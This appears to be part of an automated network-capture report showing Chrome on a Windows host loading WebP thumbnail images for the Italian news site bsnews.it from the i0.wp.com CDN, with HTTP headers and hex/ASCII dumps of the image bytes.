2024-03-28 08:51:05 UTC	1369	IN	Data Raw: a9 a4 26 e0 a9 22 fe 15 a5 38 0f e4 8b 58 ea 22 04 be e9 68 91 ac 36 bb 3c 63 29 47 1c 2b fb 96 70 0d 36 52 2e 76 f7 70 48 8a 86 45 82 06 be 43 ab 52 93 34 7f ba 9f 14 dd 59 17 c5 34 05 4d 4e 4c 1e 15 88 ab 14 1e d6 e4 1a 25 e4 69 0c 7d 65 28 51 68 f5 0a 4c d6 31 4d 45 de 9f 68 6e ca 87 9f 30 1e 38 ab af ff 85 5a 38 e9 e2 60 c7 a0 4d c7 32 f2 48 c3 1e 8d ad dd 17 47 06 ef 3f c5 1d 4a 8a 7f 9f 4e 04 bd 5f 61 26 e6 53 4d 8b b7 a6 8f 59 7d 89 35 33 52 10 2f 63 32 65 01 9f 1f 11 e2 42 db 86 c1 f8 9e ba 5d ce 62 e2 bf 24 32 3d 8d 14 37 2b 87 10 0f 69 9f ba 67 79 f9 17 a3 63 d5 7b 7b 3f 81 b9 a1 fd 93 df 22 4e 03 cc 4c e1 92 d4 bb 8c 5b bd 4b b5 3e 9f 1c 80 50 5f 2b ca 2f 18 af 27 15 2c c5 9a 92 bf 93 17 ba 96 b3 39 54 d0 cf 5c b8 d6 8a ab ed 07 de ad 7c c2 9f Data Ascii: &"8X"h6<c)G+p6R.vpHECR4Y4MNL%i}e(QhL1MEhn08Z8`M2HG?JN_a&SMY}53R/c2eB]b$2=7+igyc{{?"NL[K>P_+/',9T\\|
2024-03-28 08:51:05 UTC	1369	IN	Data Raw: 4a a2 79 d4 90 3a 55 06 f6 d5 6e c1 b4 cb ea f8 7f ae 03 43 69 97 91 ef 49 7a 77 9e ef b5 53 cf ed f0 17 ee 0e 8f 61 cf d2 93 1d b6 54 04 f4 8b 59 74 ab a6 42 11 95 ae 95 54 7b c6 76 64 0f 06 2a c9 af 5f ca 28 50 b2 64 54 0a 69 50 f8 be 1f e3 5d 1b 94 44 6e 8a 74 2b 63 68 47 f1 79 fd 2b 6a ea 29 34 f0 8f 63 72 13 8d f2 ac 58 cb cd 74 e7 43 ef f7 f4 a7 1d 6e d4 c7 3a d8 ee 69 65 f0 a8 56 99 6f 07 0a ac e5 b9 6f e0 8a 38 1f 54 83 08 a6 8e 72 3b b5 68 18 cc 6e 71 10 db 26 a0 d6 39 0c c6 ce 15 c6 9d 80 fb 96 aa 42 fe 9d f8 95 3f 82 83 25 08 8f 26 6f 4b 15 75 bc aa a3 9a a3 98 fb c0 7e 90 53 63 1e 97 c2 2e 62 0f 9f a3 41 d0 e0 7d 9a 0a 89 43 2e d3 31 1f a1 27 3a 41 ba 25 7b 95 ae a7 db 04 64 af da 09 4b 54 d9 f2 f5 6f 7f ab 7b 42 ef f9 43 cd 72 4b e2 80 c8 46 Data Ascii: Jy:UnCiIzwSaTYtBT{vd*_(PdTiP]Dnt+chGy+j)4crXtCn:ieVoo8Tr;hnq&9B?%&oKu~Sc.bA}C.1':A%{dKTo{BCrKF
2024-03-28 08:51:05 UTC	1369	IN	Data Raw: 50 36 f9 b6 66 2b 23 57 e5 6f a7 48 76 53 9e 03 f1 af 43 e4 36 d7 0f 54 1d 0a 20 dc 8c c9 5e ee f2 d1 15 52 ad f2 98 35 44 45 78 3d ca ab bf 53 2e 69 c7 72 24 0a bc a3 c2 57 f1 7f 44 10 ac 4c 35 d2 74 56 e9 0f 16 87 40 32 03 85 63 12 fa 9d d1 bc 0f bb c9 e2 5c a5 01 f0 b4 cb 3c da 75 11 bf aa a4 c7 ae ea cb 12 6b 21 87 09 eb e8 d0 30 bb fe 56 47 db 6a 6b 5d f1 c3 fc 2e d7 7f 6a 54 90 f6 42 11 13 d5 22 eb 37 14 27 bd ca de 0b 46 a7 9c 0e d1 8f 3d a1 d0 69 86 ca 1d 59 77 ab e4 c2 90 2d eb 50 6b 88 7f a4 47 04 6d 1c 38 af 91 12 4a ff dc ef ad 47 eb 50 ac 41 ea f5 a3 e1 3f 56 5f 95 5c 30 60 32 9d 15 f3 92 24 23 32 b6 68 5d 58 9d 10 69 9d cc 89 97 49 00 9e 51 84 51 b8 dd 2f 24 a7 09 b6 ac 73 5f ed fa 83 66 de 6a 93 31 c9 d2 a9 4a 40 fa c1 78 8a 6b c8 26 67 d0 Data Ascii: P6f+#WoHvSC6T ^R5DEx=S.ir$WDL5tV@2c\<uk!0VGjk].jTB"7'F=iYw-PkGm8JGPA?V_\0`2$#2h]XiIQQ/$s_fj1J@xk&g
2024-03-28 08:51:05 UTC	416	IN	Data Raw: 9e 21 5c 59 93 64 30 51 14 bc 99 e2 04 a7 23 15 bc 77 bf 5e 17 15 f1 88 46 a7 eb c7 66 a9 78 16 99 57 c4 6a f2 f8 89 07 3c 84 63 dc 1d 34 da d6 1e 87 77 86 c6 07 dd e3 61 5b 84 b1 ff a6 49 fe 8f d6 73 76 5a 4e 14 82 b3 94 26 1c be 37 a4 b5 d2 f6 60 17 13 d3 c3 90 06 ad b4 7b 2c ff f3 14 fe e7 7a 0a 3b ff fc 2d d5 54 7c 90 ba 13 5f 38 1c ba 89 2c 31 f0 ca bf ad ce 0e 22 f7 2b 82 b3 57 a4 25 d1 92 1c df 6e 3a 99 6f 2e e1 ca d1 75 4a 6d 91 03 7d 75 a8 0f 42 9b 34 49 5f 9d f3 9c ce e0 3e 81 00 b1 2a dd 47 db 90 b3 3d 4c d7 cd 5b 8e ff 37 fa a2 75 4c 55 9c ca 60 bb 89 d4 07 a1 c2 a2 66 29 4f fc 6b d4 29 68 40 b1 09 9a 27 26 b5 7f 27 c0 3f c2 2b ee fc 90 2a 07 c0 d7 0a 7f 4b d7 78 1a 79 0d de f4 6c 0d f9 31 2d 76 81 81 6f ca 7c 14 d6 c5 83 16 0d b3 d6 b2 54 19 Data Ascii: !\Yd0Q#w^FfxWj<c4wa[IsvZN&7`{,z;-T\|_8,1"+W%n:o.uJm}uB4I_>G=L[7uLU`f)Ok)h@'&'?+Kxyl1-vo\|T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49830	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:05 UTC	631	OUT	GET /bsnews.it/wp-content/uploads/2017/04/musil.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:05 UTC	563	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:05 GMT Content-Type: image/webp Content-Length: 7716 Connection: close Last-Modified: Wed, 27 Mar 2024 15:23:21 GMT Expires: Sat, 28 Mar 2026 03:23:21 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2017/04/musil.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "ac368fd10d74bcab" Vary: Accept X-nc: HIT dca 5 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:05 UTC	806	IN	Data Raw: 52 49 46 46 1c 1e 00 00 57 45 42 50 56 50 38 20 10 1e 00 00 90 6f 00 9d 01 2a 44 01 a0 00 3e 6d 30 93 47 24 22 a1 a1 27 9c 6b 68 80 0d 89 69 03 b0 1e 27 ee b3 5b a2 67 fb e7 fb e7 e3 cf 9c fe 36 fd 47 fb 47 ed ef f7 bf 6b 5f ed 7c 68 75 7f fc 8f ed 1e a4 ff 28 fb df fa 8f ee 5e d4 ff 96 ff 99 e2 4f c3 4f f2 fd 41 7f 1e fe 75 fe 73 fb 9f ad 63 f4 79 51 f4 9f b3 1e c1 1e d6 fd ab f5 fb d5 87 e7 ff e9 ff 80 f5 1b eb 97 fc ff f0 3f 00 3f cb ff a7 7f c8 f5 73 fe 17 88 17 d8 7f c9 fe d8 7c 01 7f 40 fe f1 ff 9f fc 9f bb 77 f7 9f fc 3f dc 7a 09 fa 9b ff 97 fa 9f 80 ff e8 7f e0 fa e2 7a 58 83 ec 6a 4d bd 82 68 ca 6e 6a ed 38 7e 4f fc f6 19 9e fd d2 7b 7f ca e3 9b 32 b6 24 71 84 1a d8 b4 1b fb 8b 6e 5b 84 28 bc 3b 5d e7 c6 34 1a 37 a0 cd d0 d8 62 8e e9 01 d8 fa 6b Data Ascii: RIFFWEBPVP8 o*D>m0G$"'khi'[g6GGk_\|hu(^OOAuscyQ??s\|@w?zzXjMhnj8~O{2$qn[(;]47bk
2024-03-28 08:51:05 UTC	1369	IN	Data Raw: f7 3f d2 ef e3 d1 e6 22 77 ae f2 fd 6a bf 65 8e 97 ce b8 db 31 f7 24 ed cd 55 43 08 9e 6b 19 ee e4 0f e5 2b 50 02 51 83 1f 20 09 6c 66 76 b8 6b 05 13 45 78 d1 07 16 e1 4e f4 39 58 9b ed c4 fa 61 29 79 98 14 b2 e0 33 cd d3 e3 e4 c5 a7 b5 c4 42 8a b6 22 6f c9 3a 4e 62 a8 90 9f 04 a8 c9 1c 1d 7f 81 57 8e 37 44 34 a4 85 34 df bc c6 88 cc af 83 90 00 fe fa 9e 3b 75 5f 1a fb e8 9c 75 77 af fe c8 66 4f a8 74 74 75 f3 84 74 23 87 40 a6 4b 82 ce c7 49 da 57 c3 df 3a 11 25 62 bb b4 dc 0f 68 7a 8e b7 25 84 76 ed b9 4e 8c 6e e2 ae f4 b9 60 9f e4 ce 2d 5c 49 6b bf ea e8 54 d1 e9 f1 eb 18 35 73 6d 0b 50 5a f2 6f a5 78 c8 5b 72 04 7e 09 b8 8a 03 13 b0 ba c3 03 9c 52 e6 5a 06 32 9f 95 ba 32 35 0d f0 ad ce c2 63 d5 b5 33 9e fc 56 fd 49 fa aa 9f 89 b5 50 92 c2 a1 77 19 c7 Data Ascii: ?"wje1$UCk+PQ lfvkExN9Xa)y3B"o:NbW7D44;u_uwfOttut#@KIW:%bhz%vNn`-\IkT5smPZox[r~RZ225c3VIPw
2024-03-28 08:51:05 UTC	1369	IN	Data Raw: 05 8b 42 5d eb 20 7f 3f dd f9 e9 e9 38 2b ed 77 53 b3 99 bd b9 be 49 0f 81 78 41 0f 46 87 f1 1b 48 6e ad 0f 1e 46 3a 8d df 51 fe e1 41 c8 0d 97 3c 03 fa 36 1d c4 d2 f4 df 2d 20 04 be 3a 8e 60 33 04 9b f3 a3 d7 f4 65 8a d5 8e d0 3c 9a 6d f0 86 c0 26 a5 81 c0 72 45 38 77 3e 1b 34 d6 b4 ec 64 b3 97 b9 4b 1f 54 93 7b cb f8 e0 c7 f8 18 6e 48 eb 1d 30 5a 66 a0 98 fc 06 8f cc 21 cd 0f 6b 76 f1 b1 3b b2 20 39 12 0e c3 73 7e 4d d4 48 2b 9c b3 4d 31 b3 75 ac 39 77 85 28 3b f0 45 8f 30 37 26 7f 85 a8 7f 3b f5 51 b1 f4 6f 74 cc 88 a4 d4 54 e8 a3 f4 04 3d 73 8a 0d 94 b1 b5 83 3b 70 8e e6 5d 43 44 7d 59 bb 39 58 11 3b 0f 1c fe 2c b7 db 4f e4 e9 74 d3 37 f5 4b d1 41 90 03 74 1c 01 15 dc 73 20 85 51 6e 5a ad 1c a5 6c f0 21 e6 51 64 56 e3 c6 14 78 d9 61 9b 6b 5c 4f 53 c8 Data Ascii: B] ?8+wSIxAFHnF:QA<6- :`3e<m&rE8w>4dKT{nH0Zf!kv; 9s~MH+M1u9w(;E07&;QotT=s;p]CD}Y9X;,Ot7KAts QnZl!QdVxak\OS
2024-03-28 08:51:05 UTC	1369	IN	Data Raw: 2f c9 ab 5b 99 6c 75 f3 6e 4a f6 3f ba 00 1a 9a 4a d6 58 5e aa 20 7d 74 6b a6 96 8e 18 35 c1 63 09 eb b0 08 0e 9a 6c a6 75 03 ff 40 06 14 34 fb 75 d5 ee 8f dd da 13 fe ff e8 0c f4 58 97 f4 e5 62 1b 6c f0 11 b3 82 ed dc 00 09 c5 0f 87 a9 ef bc e9 e4 53 ee a6 bb 83 be ab 1c cd f0 6a 53 9d 9c c3 84 8a 8e 42 98 76 ac 99 4d 78 92 42 91 28 29 c2 41 71 cf e6 c5 21 1a 6a 22 d4 55 b1 92 ba b3 e5 76 10 3d 92 a8 fd 1c bf 9f ea de 2a 8c 80 85 79 af b2 8d 60 1c 37 c9 e4 06 ff a7 36 01 43 8e c0 6c be ce 50 17 50 7c eb 2b 0a dc 89 1d bb 48 12 7c b6 ee d1 c3 87 88 da e3 a1 fe 30 f4 10 19 2e 1f 15 e0 72 e5 8f 26 6e ad a4 7c 55 a2 0a 06 04 9c 50 ba 3c e7 7e d5 19 c0 3e 6d 60 ff 31 1f 7f 4f 0a 86 9a 22 28 fb 84 b0 7e ad ae 47 b8 4a 08 fc 28 67 28 e8 4a 9f 93 e9 81 88 d0 f3 Data Ascii: /[lunJ?JX^ }tk5clu@4uXblSjSBvMxB()Aq!j"Uv=*y`76ClPP\|+H\|0.r&n\|UP<~>m`1O"(~GJ(g(J
2024-03-28 08:51:05 UTC	1369	IN	Data Raw: 5a b7 63 c3 8f 4b 4a 5b f4 2f 95 2b 9b 40 74 05 f4 9c e5 05 cc 53 b3 1a 45 ab 90 dd 9c 76 2c 7e ea 06 69 1a 8d 72 1d ac d8 e2 1b c5 47 53 0c f6 ba 6b d3 a0 ca 67 d0 98 26 99 67 4a 58 6f eb a7 11 72 60 bc 7b 08 db d4 15 32 97 3f 38 91 db 77 86 bd 3d a1 ed 85 ff 6a c3 13 2c 5b 6e 8e bd f6 3e 5e 75 89 51 9d e7 bb a3 2f 67 5f 8a 63 23 3e 28 48 f6 47 eb 6e 33 bd 6b ed 5a 0e ab c4 62 29 72 9d a6 0a 60 da e6 cd 0e 39 bf c2 46 ed 4b e9 54 c3 a4 4a 4d 2d 51 d9 c1 c8 f3 60 d5 c8 db 7d 2e 79 bd e0 38 b5 44 cc fb 17 90 6e b6 58 4f c2 0b 45 42 ba c7 10 3a e5 a9 ca 4a b9 69 85 6b 13 c4 1d f5 ea e2 a4 d1 c9 bf 54 61 67 b5 41 61 b6 4d 00 10 67 86 ee 65 6e 6f 90 69 14 c9 a0 eb 36 99 dc 4f d7 6a cc 4e 14 15 e7 d7 1f 76 76 43 e1 70 02 d3 21 c5 90 75 db aa 5c c3 b6 18 2b c6 Data Ascii: ZcKJ[/+@tSEv,~irGSkg&gJXor`{2?8w=j,[n>^uQ/g_c#>(HGn3kZb)r`9FKTJM-Q`}.y8DnXOEB:JikTagAaMgenoi6OjNvvCp!u\+
2024-03-28 08:51:05 UTC	1369	IN	Data Raw: 32 b4 1b 99 12 a9 c1 c0 c0 23 3c 6e 65 13 b7 77 99 b8 c7 9e 5c 33 5b 96 8f d5 a2 b2 4d 6b b7 d3 41 90 f0 d4 7b c9 fe 67 e7 11 53 3e f7 e1 97 1a 0a ac e9 66 85 84 22 2d 5b 79 3f 5d b4 18 0c f9 ba 81 12 81 84 98 a5 2c ec e4 c5 a0 d5 fa 5b f3 a6 c1 ea 83 b1 12 c6 49 e1 4e 8a da 14 6c d2 93 30 9a a5 f8 a7 95 75 9a 4e d1 73 60 a6 88 66 51 48 21 a5 0f fd a0 4c a8 12 9a cb 60 ad ed e2 5a 0d d8 c2 a5 70 bf 13 29 10 48 4f ce 86 51 a2 9a 5b e2 5a e1 b1 da 9c 41 a7 67 52 1d 62 51 a4 dc 66 6a da dd cd dd ec 74 23 7e b3 33 c9 91 66 d7 cf e2 5f 45 97 50 30 d5 38 05 42 2a 0e 85 3f 21 21 1e bf f5 83 dd 07 16 1a e3 37 21 5c a8 bf 5f d4 4f 95 12 d6 1a 05 8e cc 59 38 22 d8 07 b1 33 5e 52 b4 5f c3 b7 b2 9f c5 5d ac ac 77 50 42 fc c5 ea 05 49 51 97 1f 25 b9 4a 0d b1 a0 85 13 Data Ascii: 2#<new\3[MkA{gS>f"-[y?],[INl0uNs`fQH!L`Zp)HOQ[ZAgRbQfjt#~3f_EP08B*?!!7!\_OY8"3^R_]wPBIQ%J
2024-03-28 08:51:05 UTC	65	IN	Data Raw: 13 91 3b eb 38 df 59 05 46 00 a8 3a b5 36 a0 18 32 1e 2d 16 0f 2e 8a 76 e1 e8 da 94 25 df a8 e2 24 62 82 f6 1c db de c2 30 c2 f7 98 04 91 b7 00 0b fb cd 80 4a 01 69 45 48 01 06 07 93 00 00 00 00 Data Ascii: ;8YF:62-.v%$b0JiEH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49829	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:05 UTC	653	OUT	GET /bsnews.it/wp-content/uploads/2017/03/centro-san-filippo-brescia.jpeg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:05 UTC	586	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:05 GMT Content-Type: image/webp Content-Length: 10674 Connection: close Last-Modified: Wed, 27 Mar 2024 15:23:21 GMT Expires: Sat, 28 Mar 2026 03:23:21 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2017/03/centro-san-filippo-brescia.jpeg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "7e57a30e4ddad81f" Vary: Accept X-nc: HIT dca 6 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:05 UTC	783	IN	Data Raw: 52 49 46 46 aa 29 00 00 57 45 42 50 56 50 38 20 9e 29 00 00 f0 91 00 9d 01 2a 44 01 a0 00 3e 6d 30 93 46 a4 23 21 a1 2a b5 bb b0 80 0d 89 46 6f ec 18 12 18 c0 9d d2 76 7e 5c bc ab e1 94 81 af 33 f0 0c b4 fd cf bd f7 fc 9f 56 9f a9 ba 77 7a 78 fe eb e8 9f f6 cf d5 df d3 6f f8 ff 50 0f ea 5f ea ba d9 bd 11 ba 60 7f be 7f dd fd c3 f6 9d c1 a3 d3 ff 07 fc c5 7c 4b f7 5f dc ff 8e 8b b1 fc b7 f8 1e 64 fd 9c fe 17 f8 2f 6a 1f d8 ff df f0 a7 e4 76 a1 7f 98 ff 47 ff 53 e8 af b7 6f 19 3d 7f fd ff a0 8f b4 9f 68 fd 79 f5 cf fa ff 37 fe cb ff db f7 01 fd 6a ff 9f ec 4f fd 1f 0f 4f be ff c4 f6 03 fe 6f fe 37 ff 3f f9 ff 68 ad 1c 7e d1 fe f7 d8 53 f6 33 d3 b3 d9 7f a4 41 e2 ff e1 0d a5 b6 67 7f ab 25 e6 d3 84 a4 f0 ac ed 65 e9 a8 28 75 1e da 7d 4f 36 17 8f 22 01 59 36 Data Ascii: RIFF)WEBPVP8 )D>m0F#!Fov~\3VwzxoP_`\|K_d/jvGSo=hy7jOOo7?h~S3Ag%e(u}O6"Y6
2024-03-28 08:51:05 UTC	1369	IN	Data Raw: 8c fb 5c cd a8 5a b9 2c 6d 0a 23 40 39 02 72 2a 98 10 22 1d 5d 98 c9 5f 3a 23 5b a7 a7 f9 d9 44 89 ad 02 6d 4a c7 76 0b 8e 79 a0 6e 8d fd 56 3d 94 8d 5f 52 c5 63 d9 3e e6 cd b8 a3 a6 40 be 5a b5 28 bb cf 17 71 e6 79 15 87 ea 66 63 38 bb fa b3 fc 60 a3 63 c0 32 f6 f7 4a e4 46 c9 c4 97 a5 8c 9d df 8a d4 99 48 f2 6e 08 f3 ee d3 55 e1 02 bc 3e f7 f5 e2 c9 c2 66 00 11 c5 23 4b 61 16 0d bf be 3b 59 ea 9e 45 09 38 ac a1 79 57 54 33 b8 1f d5 cc 51 02 95 bf ef 78 9b 2a 65 02 9a 61 2e 3f 02 60 f6 a0 fe 04 f8 3b ba ad 0b 96 7f 98 6b e7 48 39 c6 51 6c 34 e2 9f 80 fb 50 69 b6 c3 a9 d8 a5 49 c3 f5 bd b3 5b cd 03 8d 37 72 6b df 54 46 ce 7a 94 d5 70 94 f5 16 74 fe c2 6c ab a2 68 fb 9b e7 34 82 ff 18 48 c6 67 59 27 bc cf 42 63 03 50 ab cf 11 cf 6c 1f 72 87 fc c8 98 2b 9f Data Ascii: \Z,m#@9r"]_:#[DmJvynV=_Rc>@Z(qyfc8`c2JFHnU>f#Ka;YE8yWT3Qxea.?`;kH9Ql4PiI[7rkTFzptlh4HgY'BcPlr+
2024-03-28 08:51:05 UTC	1369	IN	Data Raw: 16 aa df 8c 46 23 e2 ca 43 46 ab 03 d6 bc c2 10 3b 92 46 b2 40 ec 70 c8 57 1c c8 d6 12 5a a8 0b 35 18 17 06 b9 5c 9f 35 6d fb ff e8 f8 15 d3 25 79 33 5f 00 47 76 f2 16 a3 78 54 98 a2 14 56 7d 46 2b 09 6d 28 d2 93 a7 7e 63 3c d4 1d 5f 6d 30 31 da c4 1b ff f3 86 4b d9 b8 f1 c2 f9 32 72 eb 73 8e c8 9e db c1 1a 0e 84 c3 6e e9 a2 81 e3 5b 6d 16 f8 e9 49 09 ae 12 9f 68 03 c9 25 45 8d a3 c4 b5 d8 6a 09 77 90 fa 65 2b a0 61 9a be bc 28 79 0f 7a 00 64 a7 b1 3f 9d f3 9b b3 94 72 df 6e 34 29 c2 c1 47 1b 9d 85 6a 99 77 85 fa f8 04 83 95 f7 3c ca 38 c2 d2 51 3a 47 61 2b e7 ba 5a 00 b0 14 59 42 0a b9 04 41 0f 90 9e c8 f9 40 1f d1 ae c7 ea 48 18 04 c0 a0 29 8d 24 29 f4 04 ef 93 ba 73 c2 73 38 7f 7e 4a 7c 1a 0a 3b 85 eb 12 f5 02 76 14 d6 bd 3d d5 85 a1 2d e2 c4 fc 03 eb Data Ascii: F#CF;F@pWZ5\5m%y3_GvxTV}F+m(~c<_m01K2rsn[mIh%Ejwe+a(yzd?rn4)Gjw<8Q:Ga+ZYBA@H)$)ss8~J\|;v=-
2024-03-28 08:51:05 UTC	1369	IN	Data Raw: 71 5a 65 ed 43 06 d9 8e 22 ce 0c 05 fc 8e 95 7c 43 49 49 36 76 fe 3a 29 70 11 61 31 af f9 4f 8f 21 39 cd f7 5a 8b 46 96 61 23 3e 9a ec 36 d0 53 17 02 e2 ba 6a 37 f6 cb 93 f0 89 67 5d 89 47 9a 87 2b 79 03 e6 fb 1a 21 60 c2 b9 ed a5 9d c1 9a 4c 9e 65 44 6e 64 32 c0 3a 89 33 29 69 5a 98 81 65 ff 64 7a 42 e0 39 9e fe 61 df 4a 5b 14 ea 54 0a 67 6c f3 c4 29 e2 87 43 e6 9c ea 60 8d 7b 41 95 b7 02 8e bd 86 f9 72 35 81 6e 79 f3 c6 cb a6 ed e4 80 cb a0 9c c9 77 fe d0 df e2 14 fa 1c 1f 79 6e f7 29 30 69 e1 27 50 9f 40 fb 61 93 dd a2 b4 2c b1 0b 9d e2 4c 5d ef 41 dd 3d 27 ce 29 14 1c b9 d1 54 a5 98 65 8b 81 e9 c5 42 ab e5 7b 4b 93 ba 85 7d 47 91 49 2c 1b b5 87 30 53 3b 18 d7 c9 18 ab 23 73 bd 73 f8 01 d5 84 52 3b 2e f3 00 b0 8f b5 ff 2a 3d 27 4d b9 f1 bd 45 0e d6 ce Data Ascii: qZeC"\|CII6v:)pa1O!9ZFa#>6Sj7g]G+y!`LeDnd2:3)iZedzB9aJ[Tgl)C`{Ar5nywyn)0i'P@a,L]A=')TeB{K}GI,0S;#ssR;.*='ME
2024-03-28 08:51:05 UTC	1369	IN	Data Raw: 98 f6 0e 3a 2a a7 6d 75 21 af f3 77 b5 1b f3 e2 51 a2 c3 30 5e c4 de a4 24 bc ef 95 eb 1e 2e f9 21 7f 41 77 d3 73 e8 7f 5e 0e 00 f2 e6 7f ea c6 4a 74 5c ef 90 87 99 95 90 79 ba db 7b 0b fa c6 ee 45 6a a8 18 ab 00 dd c1 21 27 07 b6 36 05 e4 e4 ee 7d 2b ad e9 57 cb 8f 06 ea 99 b3 ba 4a 06 46 04 af bc a1 39 e4 d2 72 67 c0 cb 51 98 9f 15 b9 34 9f 28 e6 d7 02 9e b6 fe de c4 cd f1 c5 3f 3d 0e 65 e0 43 12 95 2c a6 92 b9 85 06 bb a4 14 8d be 71 f8 eb c5 0b 8b 41 33 c6 81 a9 bc d5 8f 84 ab 8d 41 11 08 b2 3d 5d 7c fa 4d 56 91 cb 96 bf f3 28 bf ac 7d 41 15 2e 61 52 eb 40 41 5e e4 98 1a 9e 95 0c 43 b6 4c f3 4c 40 e9 52 b2 73 30 d2 04 e3 73 3e d3 b8 a4 fd e6 da 16 06 52 70 89 75 15 bc 76 48 d1 34 68 a5 8b 8a c8 45 d5 d1 f6 6c 3e 9d e0 d9 17 e1 c7 90 0b a4 bf 96 e5 af Data Ascii: :*mu!wQ0^$.!Aws^Jt\y{Ej!'6}+WJF9rgQ4(?=eC,qA3A=]\|MV(}A.aR@A^CLL@Rs0s>RpuvH4hEl>
2024-03-28 08:51:05 UTC	1369	IN	Data Raw: 9d cb 00 d6 5b 25 d7 a3 2a af 93 40 34 37 aa 79 fc 1e 91 c2 aa d1 86 38 71 6a bd 17 75 10 70 1f ab b5 10 cc e6 a3 e9 e4 6b fb d4 78 8f 9f f0 c8 5d 5b a0 6e 85 f9 64 23 19 17 cf 67 70 65 16 d5 48 60 19 1d 59 fb a5 1c a8 ae 00 22 06 c4 2d 8f 60 5f 32 79 62 ac 0e ec 09 62 bc 42 e6 b8 7c ed 32 6d 9f 3f c3 8f ea ed f1 91 34 d0 ba 10 9d 97 2b fd b5 0f 5a b8 a4 41 ef d5 9f c8 c7 7f 64 05 a4 85 a0 27 05 2f b1 71 ae 79 86 8e 2a c4 71 8d 5c 91 d9 03 8b 4d ad 53 28 20 11 ca 24 4e 50 12 54 9e f1 1e ba 53 84 c4 b2 bd 95 bc 24 b0 ee fe 8f b6 61 29 ab 41 6d 23 69 37 4e 3f b6 4a b6 5a 31 7c f6 fe 7d 68 ba 2a 12 89 1a 45 3b 47 c0 9b 65 a1 33 e4 44 3c c6 87 e7 1f 68 e3 cb 56 32 25 0d a1 f7 f9 af b6 43 19 5c 64 fb c0 30 1b 13 3e 02 a4 fd cc a8 2c ea ee 6b 2d 17 e8 5f df 54 Data Ascii: [%@47y8qjupkx][nd#gpeH`Y"-`_2ybbB\|2m?4+ZAd'/qyq\MS( $NPTS$a)Am#i7N?JZ1\|}h*E;Ge3D<hV2%C\d0>,k-_T
2024-03-28 08:51:05 UTC	1369	IN	Data Raw: d4 d6 cd 6a 74 8b cd 1f e3 0a c2 32 bc 61 6f 4e c0 0f 28 51 be 91 a0 d8 d6 73 42 31 bf cf 4d 6e 7d 28 c4 38 8b e3 bb 26 b4 f6 3a 65 cd d1 10 ea 4e ce 28 03 a1 1d db f3 1a 07 8d 35 f7 74 d7 ea e6 45 e0 81 c4 58 cd 99 54 a9 7f 88 ac aa f0 c7 2a a2 63 9f be f2 bf be ee aa c0 bc 67 32 e6 0f e0 10 fc cc 81 86 3e 26 34 3b 85 29 f3 a9 9c 21 32 9f 78 65 95 df 77 00 30 00 a3 8e 8c b2 83 2e 6d 4c 98 ee e6 d3 db 31 27 25 92 ac 1c 81 7a 32 df ab de 71 f1 a3 55 3c 15 d4 ea 7f 8a 51 4e 51 6c 17 13 4d 27 84 77 30 2f d9 80 f5 08 c1 de d0 71 54 c5 51 1c e0 de 58 d9 af 19 4c 89 f2 0c 6a c6 03 f8 45 f6 d3 d7 35 50 13 67 2d c2 0c 69 99 9d c9 3d 5f 8c be 2a 18 cb af 86 dc bf b4 8a ad 41 77 8f a3 7d aa 35 25 63 9f b4 9f 41 72 49 8b eb 2c 85 3d f0 e1 a0 e4 36 54 e7 6a 4a e1 31 Data Ascii: jt2aoN(QsB1Mn}(8&:eN(5tEXTcg2>&4;)!2xew0.mL1'%z2qU<QNQlM'w0/qTQXLjE5Pg-i=_Aw}5%cArI,=6TjJ1
